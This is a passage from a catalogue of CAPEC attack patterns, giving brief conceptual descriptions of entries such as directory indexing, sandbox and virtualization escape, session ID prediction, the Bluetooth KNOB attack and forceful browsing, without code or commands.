An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.